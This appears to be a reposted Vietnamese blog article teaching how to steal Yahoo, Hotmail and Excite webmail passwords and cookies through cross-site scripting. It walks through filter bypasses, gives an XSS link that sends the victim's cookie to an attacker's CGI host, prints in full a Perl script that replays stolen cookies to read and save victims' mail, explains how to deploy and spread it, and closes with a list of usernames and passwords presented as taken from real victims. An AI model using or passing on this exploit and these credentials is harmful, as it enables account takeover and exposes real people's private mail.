Lấy Pass bằng XSS
I - Tổng quát
Ði tới Diễn ðàn nào tui cũng thấy các bài viết về việc ãn cắp password của Yahoo mail hay các lọai Webmail khác ðãng ðầy rẫy trong phần Hack - Crack - Security. Lần ðầu tiên ðọc thì còn hào hứng , lần thứ 2 ðọc thấy thấy nó cũng còn hay hay. Riết rồi ðọc ði ðọc lại bài ðó hòai cũng ngán - nhý bài Tổng hợp các thủ thuật ãn cắp password email - nó xýa õi là xýa. Vậy mà cũng còn có ngýời post lên...Càng nghĩ càng tức nên tui mới mong tìm ra 1 phýõng thức khác ðể hack cái webmail server của Yahoo ðể lấy password về hù nhỏ bồ chõi...Nhýng thực tế bạn thấy ðó , việc tấn công vào 1 server không dễ, ðối với 1 thằng newbie nhý tui mà ði tấn công vào 1 trong những máy chủ có hệ thống an ninh nhất nhì Internet thì ngồi ngáp luôn. Nhýng mà , bạn có bao giờ nghĩ ðến việc ðừng tập trung vào server vô ích , mà hãy tập trung vào phần Client - máy khách mà hack không ? Nếu có bạn quả thật rất là thông minh. Còn tui vì ngu wá nên lại ko nghĩ ðến vấn ðề này. Ðến khi biết về lỗi Cross Site Scripting thì tui mới thấy ðýợc những ðiều kỳ thú nới ấy. Tui sýu tầm nhiều tài liệu về việc thực hiện 1 quá trình tìm và sử dụng lỗi XSS của các hackers. Tui tự hỏi họ ðã làm ðiều ðó nhý thế nào ? Ai trong chúng ta cũng biết là những dịch vụ webmails và các ứng dụng hầu hết ðều mắc 1 lỗi hay 1 lỗ hổng bảo mật ở phía Client - Máy khác , phần giao tiếp của ngýời dùng ( Tạm dịch vậy ).
Ðối với Hotmail và Yahoo mail , việc chèn vào trong nội dung email gửi ðến 1 ðọan mã Javascript hiểm ðộc hay 1 ðọan Html ðể thực thi 1 tác vụ nào ðó thì ðã hòan tòan có thể làm ðýợc ! Có nhiều vết nứt trong bộ lọc những Mã Nguy Hiểm của các webmails này, và lỗi Cross Site Scripting có thể ứng dụng 1 cáh trực quan vào vấn ðề này....Khi 1 ðọan mã Html ðã ðýợc chạy ( qua con ðýờng click lên hình ảnh , frame hay chỉ ðõn giản là di chuyển chuột bãng ngang ...) , nó có thể xóa email của bạn, gọi 1 lọai bọ email hay ãn cắp thành phần của webmail mà bạn ðang duyệt ðể rồi tạo cõ hội cho Kẻ Thứ Ba ðãng nhập vào mailbox ðó mà ko cần biết về username và password ( Vì hắn ðã có cookie - Nếu bạn ko biết cookie là gì thì hãy tìm hiểu hõn về chúng www.shacker.computed.net ).
Thêm 1 vấn ðề nữa là , Yahoo Mail có 1 lỗi khá là ngộ nếu nói theo cách lạc quan , là vài thành phần trong mailbox của bạn có thể bị thay ðổi không lýờng trýớc ðýợc mà không cần dùng ðến bất kỳ lệnh JavaScript nào. Vấn ðề này xem ra cũng mắc phải ðối với 1 số trang web thý ðiện tử khác.
II - Tự bảo vệ chính mình
Từ khi kiểu lỗi bảo mật này ra ðời và cứ 6 tháng 1 nãm lại xuất hiện 1 lỗ hổng mới thì ngýời dùng chúng ta có thể tự nói rằng vấn ðề an ninh trong các webmails ðối với phần Client không an tòan chút nào, cho dù vài web cá biệt ðã sữa chúng kịp thời ði nữa...Vì vậy , ðể an tòan cho chính mình , bạn nên Vô hiệu hóa Javascript , bỏ phần cho phép tự ðộng tải hình ảnh - dã man cho nhân lọai IT hõn nữa là dẹp , không hình ảnh gì hết , hay trong các webmail thì bạn nên ðể Tùy chọn xem mail bằng vãn bản - ko theo ðịnh dạng Html vì khi ðó các ðọan mã ðã ðýợc và có thể chạy ngay khi bạn sõ ý hay vô tình. Ðừng tin týởng vào bất kỳ link nào trong email nhận ðýợc cho dù ðã biết site ðó có thể tin týởng...
III - Phân tích lỗi :
a/ Lỗ hổng trong bộ lọc của Yahoo Mail dành cho thẻ HREF
Mấy ai biết ðýợc và cũng không ngờ ðýợc bộ lọc mã nguy hiểm của yahoo lại có lỗ hổng trong phần quản lý các giá trị phân phối trong thẻ HREF của Html.
Câu lệnh 'target="_blank" ðýợc dán sau thẻ HREF của thể ðýợc hòa lẫn thành 1 tác vụ bằng cách thêm vào ký tự ">". Trò mẹo khá nguy hiểm ðýợc anh bạn Mark Slemko ðãng trên vuln-dev từ nhữngthàng ðầu nãm 2000. Tóm lại bạn có hiểu ðýợc những phần trên ko ? Nghĩa là giống nhý link ðó mở ra 1 trang mới ðồng thời khởi chạy ðọan mã JavaScript nằm ẩn trong nó. Vì những giá trị hiểm ðộc của Javascript trong thẻ HREF thì chýa ðýợc lọc qua nhý Silvery Hat Hacker ðã nói lúc ðầu. Tui cũng không hiểu dzì sao Yahoo lại bỏ qua vụ này...Nói trên lý thuyết thì có thể bạn ko hiểu rõ hay còn mập mờ , vậy ta xét qua ðọan code sau :
<a href="javascript:...">link</a>
sẽ trở thành
<a href="javascript:..." target="_blank">link</a>
=> Ðọan mã này vô hại bạn àh...
NHÝNG
<a href="javascript:..." foo="bar>link</a>
trở thành
<a href="javascript:..." foo="bar target="_blank">link</a>
thì ko còn bình thýờng nữa ðâu. Hãy xem xét kỹ bạn sẽ nhận ra.
b) 2 lệnh Get và Post :
Trong chúng ta thýờng lýớt thông qua hộp mail bằng cách click trên Forms - Lệnh Post. Ðiều này hòan tòan bình thýờng. Nhýng nếu tham số Get ðýợc thay thế và ðó thì Yahoo không thể biết ðýợc sự khác biệt và chấp nhận ðiều này. Vấn ðề này không fải là 1 mối nguy hại khi nó ðứng 1 mình nhýng khi kết hợp với code khác thì chính nó sẽ làm cho các Ðọan Mã Có Khả Nãng Gây Hại họat ðộng dễ dàng hõn. Bạn xem 2 phân tích bên dýới sẽ hiểu ðýợc tại sao
c) Cross Site Scripting :
Cross Site Scripting ðýợc biết ðến 6 tháng trýớc ðây bởi mparcenshushmail.com , ðãng trên Bugtraq. Nó cho phép 1 lệnh JavaScript có thể ãn cắp cookie của ngýời dùng và gửi qua Internet ðến nõi nhận , rồi sau ðó có hacker có thể lấy quyền ðãng nhập vào mailbox ðó cho dù biết pasword hay là ko.
Tuim ðã tìm thấy ðýợc nhiều trang bị lỗi này trong gia ðình tên miền xxx.yahoo.com.
Thí dụ , trong tên miền mail.yahoo.com , Trang gửi mail và trang tạo chữ ký không mã hóa những ký tự ðặc biệt của mã HTML trong phần nội dung. Vì vậy , hacker có thể gửi ði thông tin mà trong ðó có cái gì ðó giống cái này : "param=</textarea><script>ðọan mã nguy hiểm</script>".
Ðọan mã nguy hiểm có thể là ãn cắp cookie hay thay ðổi mailbox nếu ngýời nhận ðến cũng dùng yahoomail...
Tuy nhýng , những lỗi này cũng còn fải chờ user click lên ðể thi hành. Nhýng nếu link ðó gửi ðến trang Yahoo.com thì ít ai ðể ý ðến ðọan script nằm trong ðó.
d) Tự ðộng thay ðổi mailbox :
Không fải là khó khãn ðể mà thực hiện thay ðổi mailbox thông qua việc gửi dữ liệu ðến 1 ðýờng dẫn biết trýớc. Không cần bất kỳ ðọan mã riêng biệt nào , nhờ 2 tác vụ Post và Get , nên Xóa tất cả message , thùng rác hay reply lại ðịa chỉ nào ðó thì hòan tòan có thể xảy ra mà không nhờ ðến JavaScript hay sự ảnh hýởng của chủ nhân.
IV - Kết :
Tóm lại , những lỗ hổng trên có thể ðýợc khai thác theo sõ ðồ sau :
- Ngýời dùng ðọc email bị ðính kèm ðọan mã <img src="http://us.f405.mail.yahoo.com/ym/Preferences?foo=bar_with_css_javascript">
-Vì ðọan Javascript ðýợc ýu tiên ðặt trong B - Tác vụ Get và Post với D - Gửi dữ liệu ðến 1 ðýờng dẫn biết trýớc , ở ðây là http://us.f405.mail.yahoo.com/ym/Preferences? nên ngýời dùng không gặp cảnh báo nào. Nhýng ðây có thể là býớc khó nhất hay không bao giờ xảy ra , ngýời dùng fải mở trang Preferences thì JavaScript mới bắt ðầu chạy.
-JavaScript chạy , cho coi 1 trang nhập password lại ( giả ).
-Mật khẩu bị ãn cắp và gửi ðí , ngýời dùng ko hay biết gì và ðýợc chuyển tiếp tới trang Preferences...
Bây giờ chúng ta sẽ ði sâu vào việc thực hành hõn với những ðọan mã nhức ðầu.....
Qua bài viết trên hẳn bạn ðã biết những webmails ðều dùng ðến cookie trong quá trình cho phép sự ðãng nhập của Client ðối với hệ thống tài khỏan của Client ðó trên server. Và thực tế các server còn có nhiều dịch vụ khác nhau nhý mail , host , mua bán...và mỗi dịch vụ này có 1 host khác biệt nhau. Vấn ðề cần giải quyết ở ðây là tìm ra lỗi bảo mật XSS của 1 trong số nhiều dịch vụ kể trên ðể tự bản thân server của dịch vụ ðó hiến dâng cookie của ngýời dùng ðang thao tác với nó ðến cho nhân vật thứ 3 , là những hacker.
V - Tiến trình :
Tài liệu này có nói ðến cả hack Msn và Excite nhýng vì ða số ngýời dùng sử dụng Yahoomail nên tui rút ngắn bài viết và chỉ chú trọng ðến Yahoo mail.
Dịch vụ thý ðiện tử của Yahoo dựa trên mail + tên miền chính có dạng nhý sau xxx.mail.com , vì vậy 1 lỗi XSS trên trên bất kỳ tên miền nào có dạng xxx.yahoo.com ðều gửi cookie của mailserver ðến tay tin tặc.
1 lỗi ví dụ về XSS ðó mã login trên trang login.europe.yahoo.com. Ðọan mã XSS này ðã bị lọc ra những ký tự cấm < và %3C nên nó ðã trở nên vô dụng ðối với mấy tay Chemical Hacker ( tham khảo bài Hiểu rõ kẻ ðịch - của ai ðó tui wên tên rồi ) nhýng nếu có kiên nhẫn tìm hiểu thì bạn sẽ nhận ra rằng trong Yahoo cũng sử dụng CÙNG 1 ðọan mã nhý vậy ðể phân tích từng vùng thể hiện 1 bức email có hình ảnh trong cửa sổ của nó. Và hõn nữa , Yahoo cũng fải lấy tên của bức ảnh ( vd nhý mubac.gif ) và ðýờng dẫn tới nó thì mới hiện ðýợc hình ảnh. Cho nên ta rút ra ðýợc ðều này :
-Yahoo cấm các ðọan mã chứa < và %3C ðýợc thể hiện 1 cách lộ liễu cho bộ lọc thấy ( 1 )
-Yahoo cũng fải sử dụng ðến < và %3C ðể có thể phân tích và thể hiện 1 hình ảnh ðýợc lồng vào email - nhý cách thể hiện bản tin của download.com , pcworld.com , thý của yahoo.com....ðến ngýời dùng => Yahoo ko lọc ký tự < và %3C trong trýờng hợp này. ( 2 )
Từ (1) và (2) => Yahoo có lỗ hổng bảo mật nằm ở phần Image. Týõng tự nhý vậy , bạn có thể suy nghĩ thêm về vấn ðề canh lề và phân tích sự hiện diện của FRAME trong email. Nghĩ thử xem Yahoo cũng sẽ dùng ðến ký tự gì....
Cuối cùng , ðọan mã XSS có thể là :
http://login.europe.yahoo.com/config/login...&.src=ym&.done=
Tất nhiên theo thời gian lỗi này có thể ðýợc fix nhýng bạn fải nhanh nhạy trong việc hack mà tìm ra ðýợc phýõng thức mới dựa trên 1 dạng lỗi ðang phổ biến hiện nay Cross Site Scripting. Nhýng ðều ấy , sửa 1 lỗi XSS cũng ko fải chuyện dễ mà lại tốn rất nhiều thời gian. Hõn nữa , bạn ah , có bao giờ bạn nghĩ lỗi XSS trên webmail này , có bao giờ , có bao giờ liên quan ðến webmail khác ko ? Tìm hiểu....
VI - Khai thác lỗi - Exploit :
Lỗi XSS này là 1 dạng khác với ðọan mã mà bạn ðýợc ðọc ở bài viết trýớc - nó không sử dụng ðến mục Preferences mới kích họat mà dựa ngay vào cú bấm chuột ngọan mục của nạn nhân :
<a href="http://login.europe.yahoo.com/config/login?.intl=frx%22%20onerror=%22plof:window.open('http://hos/cgi-bin/rompigema.pl?'%2B )%22%3E&.src=ym&.done=">Tựa ðề link</a>
Nhìn sõ qua link trên , bạn có nghe thấy nó nói gì ko ?
Thứ nhất là onerror - lệnh trả về khi mở 1 cái link tầm bầy - dễ hiểu hõn là cái link chết thì nó sẽ chuyển ðến http://hos/cgi-bin/rompigema.pl
Thứ nhì - http://hos/cgi-bin/rompigema.pl , cái này ko ðõn giản fải ko bạn. Nói ðến nó sau
Thứ ba - Tựa ðề link , không mấy quan trọng , nhýng ðặt sao cho hay hay ðể victim click vào. Ðáng tiếc mà nói 1 ðiều là những gì hay hay thýờng bị dụ click vào lại có liên quan ðến sex...
Bây giờ ta trở về phần thứ nhì. Bạn thấy tên file giống cái dạng nào ko ? Ðúng vậy - viết từ Perl. Và ngýời dùng thì hòan tòan tin týởng vào sự bảo mật của webmail mình nên ko có chi là lo ngọai khi nhìn qua link trýớc khi click. Ðọan mã Perl ở trong tập tin rompigema.pl có nhiệm vụ ãn cắp mật khẩu của nạn nhân gửi ðến 1 trang web nào ðó...Nếu ðọc mã nguồn kỹ thì bạn sẽ nhận ra và nên thay ðổi nó ðến ngay ðiểm dừng cuối mà bạn muốn. Sau khi xong bạn upload nó lên 1 website hỗ trợ CGI và sửa phần http://hos/cgi-bin/rompigema.pl trong link XSS thành ðúng với link của bạn.
Bản chính của tác giả có luôn phần cho Hotmail và Excite , vì lý do tôn trọng bản quyền nên tui tạm thời sẽ giữ nguyên nó , bạn có thể thay ðổi nó tùy vào khả nãng của mình ( nhý ðổi ðịa chỉ nhận ðýợc password chẳng hạn ) :
----------------------
Rompigema.pl:
----------------------
#!/usr/bin/perl
#
# Multiple XSS/Cookie Problems
# Proof Of Concept
# N|ghtHawk
# nighthawk_at_hackers4hackers.org
use IO::Socket;
# OPTIONS
# 1. See Frontpage
# 2. See Inbox
# 3. Read An E-Mail
# 4. Only save Cookie
$option = "3";
# PATH
$path = "/tmp/mirrors/";
$cookie = "$ENV{QUERY_STRING}\;";
$cookie =~ s/%20/ /g;
if ($cookie =~ /http:\/\/(.*mail\.(.*)\..*com)(\/[^ ]* )(.*)/) {
$host = $1;
$type = $2;
$req = $3;
$cookie = $4;
if ($req =~ /ArdSI=(.*)&ArdSI=/) {
$ardsi = $1;
}
}
if (!$cookie || !$host) { &no_cookie; }
%msn = (
1 => "/cgi-bin/hmhome",
2 => "/cgi-bin/HoTMaiL?curmbox=F000000001",
filt => "<a *href=\"\/(cgi-bin\/getmsg\?.*)\">",
name => "class=[^ ]*\">(.*@hotmail.com)<"
);
%yahoo = (
1 => "/ym/Welcome?order=down&sort=date&pos=0",
2 => "/ym/us/ShowFolder?box=Inbox&order=down&sort=date&pos=0",
filt => "\/(ym\/ShowLetter?.*)\">",
name => "<b>.* (.*\@yahoo.com)<\/b>"
);
%excite = (
1 => "\/splash.php?ArdSI=$ardsi&ArdSI=$ardsi",
2 => "\/folder_msglist.php?t=0&m=0&ArdSI=$ardsi&in=1",
filt => "(msg_read.php?[^>]*)'",
name => "<b>Hi (.*)!<\/b>"
);
$req = "$$type{2}";
if ($option == "1") { $req = "$$type{1}"; }
$data = request($host, $req);
if ($option == "3") {
@datar = split(/\n/,$data);
foreach $line (@datar) {
if ($line =~ /$$type{filt}/) {
$req = "/$1";
}
}
$data = request($host, $req);
}
&out($data);
sub out {
my ($data) = @_;
@datar = split(/\n/,$data);
foreach $line (@datar) {
if ($line =~ /$$type{name}/) {
$name = $1;
}
}
if ($option == 4) {
$data = "$name\n$cookie\n";
$name = "cookies";
}
open(FILE,">>$path$name.html");
print FILE "$data\n";
close(FILE);
print "Content-type: text/html\n";
print "Location: http://www.dwheeler.com/secure-programs/".
"Secure-Programs-HOWTO.html\n\n";
}
sub request {
my ($host, $req) = @_;
$sock = IO::Socket::INET->new(
Proto => "tcp",
PeerAddr => "$host",
PeerPort => "80",
Timeout => 30) || die "Could not create socket: $!\n";
print $sock "GET $req HTTP/1.0\n".
"Host: $host\n".
"Accept: image/gif, image/x-xbitmap, */*\n".
"Accept-Language: nl\n".
"User-Agent: Pr00fOfConcept/1.0 \n".
"Connection: Keep-Alive\n".
"Cookie: $cookie\n\n";
sleep(4);
recv($sock,$data,200000,0);
close($sock);
return $data;
}
sub no_cookie {
print "content-type: text/html\n\n";
print "<h1>No Cookie or Referrer found</h1>\n";
exit;
}
Cuối cùng , ðầy là 1 số cõ hội cho bạn dùng ðến link trên :
-Khi chat bằng Yahoo Messenger , Msn Messenger
-Ðặt vào trang web mà bị lỗi XSS
-Những forum , guestbook có bị lọc không tốt
-Cho nhân lọai cái link mà dẫn họ trực tiếp vào lỗi XSS - bạn hiểu ý tui ko ?
Sau ðây là 1 số mail mà Silvery Hat Hacker vừa chôm ðýợc. Chỉ là ví dụ trực quan , mong các Newbie ðừng lấy ðó làm trò vui trên hộp mail của họ...
Username = saloha2100
Password = ssaall
Username = vbmonster2000
Password = maryam
Username = lordblondie
Password = devilish
Username = sca172
Password = rogelio
Username= kartoos_1678
Password = barood
Username= righteousother
Password = khanye
Username= chrislove_2
Password = 9geor
Username= SEKEWA20042001
Password = LITTLEANGLE
Username = ital_soccer_star69@yahoo.com
Password = chimienti
Username = southeastgangsta
Password = powerful
Username = lil_jake
Password = iloveto69
Username = thehunter_556908
Password = ecdda111
Username = shamicawilliams
Password = shemmy
Username = manoharevashalley
Password = selvarajan
Mýợn bài của Silvery Hat Hacker
Không có nhận xét nào:
Đăng nhận xét